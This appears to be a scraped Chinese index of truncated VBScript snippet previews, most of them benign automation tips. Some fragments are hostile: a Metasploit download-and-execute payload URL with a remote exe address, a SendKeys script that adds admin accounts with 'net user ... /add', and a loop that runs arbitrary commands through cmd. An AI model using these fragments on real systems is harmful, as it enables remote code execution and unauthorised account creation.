登录后绑定QQ、微信即可实现信息互通
'code by lcx On Error Resume Next Exeurl = InputBox( "请输入exe的地址：", "输入", "http:https://www.haiyangtop.net/333.exe" ) url="http:https://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec..
首先我们看一个输入字母的例子： 复制代码 代码如下:set s = WScript.CreateObject("WScript.Shell") app=s.Run ("C:\windows\notepad.exe") code="biweilun" WScript.Sleep 1000 s.AppActivate app s.SendKeys code Wscript.quit 这段vbs会SendKey..
1、用FSO的SpecialFolder常数 FSO的SpecialFolder常数依赖的函数为GetSpecialFolder(SpecialFolder)，很遗憾的是，SpecialFolder常数只有3个，0-2，0对应WindowsFolder，就是你的Windows文件夹，如果你的系统装在C盘的话，那么返回的就是"C:\Window..
首先给个完全版的地址，如果您机器上装过ＯＦＦＩＣＥ应该可以打开的：ADOX对象模型， 地址是："C:\ProgramFiles\CommonFiles\MicrosoftShared\OFFICE11\2052\ADO210.CHM"， 您可以在运行里输入："hh.exeC:\Program%20Files\Common%20Files\Microso..
'/*========================================================================= '*Intro用XMLDOM分析QQ签名文档 '*FileNameQQ_QianMing.vbs '*Authoryongfa365 '*Versionv2.0 '*Emailyongfa365[at]qq.com'*MadeTime2008-01-2220:55:25 '*LastModi..
SplitFile.vbs '/*========================================================================= '*Intro.txt文本切割器，默认为8000个字符切为一个文件。支持拖动。 '*FileNameSplitFile.vbs '*Authoryongfa365 '*Versionv1.0 '*MadeTime2008-04-2..
<% FunctionRegExpTest(patrn,strng) DimregEx,Match,Matches'建立变量。 SetregEx=NewRegExp'建立正则表达式。 regEx.Pattern=patrn'设置模式。 regEx.IgnoreCase=True'设置是否区分字符大小写。 regEx.Global=True'设置全局可用性。 SetMatches=r..
DimWshShell setWshShell=CreateObject("wscript.Shell") WshShell.Run"cmd/k" fori=1to3 WScript.Sleep500 WshShell.SendKeys"netuseradmin"&i&"abcd@123/add" WshShell.SendKeys"{ENTER}" next WshShell.SendKeys"exit" WshShell.SendKeys"{ENTER..
<TITLE>网易文件摄取</TITLE> <metahttp-equiv="Content-Type"content="text/html;charset=gb2312"> <HTA:APPLICATION ID="MyhyliApp" APPLICATIONNAME="设置程序" VERSION="1.0" SCROLL="no" INNERBORDER="no" CONTEXTMENU="no" CAPTION="yes" SHO..
dimie setie=createobject("internetexplorer.application") ie.visible=true ie.navigate"http:https://www.ln.chinaunicom.com/index.shtml" Whileie.busyorie.readystate<>4 EndWhile ie.document.all("userid").value="13304948957"'手机号码 i..
OnErrorResumeNext'忽略所有错误 Dimfilename'声明变量 Dimre Setre=NewRegExp'建立正则表达式对象实例 re.Pattern="^([a-z]|[A-Z])+\:\\\w+\.vbs$" Ifre.Test(WScript.ScriptFullName)=FalseThen MsgBox"请在磁盘根目录下运行本程序，否则搜索结果..
今天因需要客户端得用VBScript对表单进行处理、提交，然而在提交表单时老是出错，错误信息为："对象不支持此属性或方法"。后查资料得知： 引用内容 除了表单提交按钮，页面中不允许再有一个表单项名字为submit 改下名字，果然没问题了，汗。 以前用..
用vbs实现cmd功能 onerrorresumenext dowhiled<>"520" d=inputbox("请输入命令,多个命令用&连接。关闭该VB窗口命令520") setq=createobject("scripting.filesystemobject") seta=WScript.CreateObject("WScript.Shell") a.run"%Comspec%/c"&d loop ..
提出你的第一个问题
回答一个你擅长的问题
对内容进行点赞或者收藏
阅读声望与权限的规范
完善个人资料
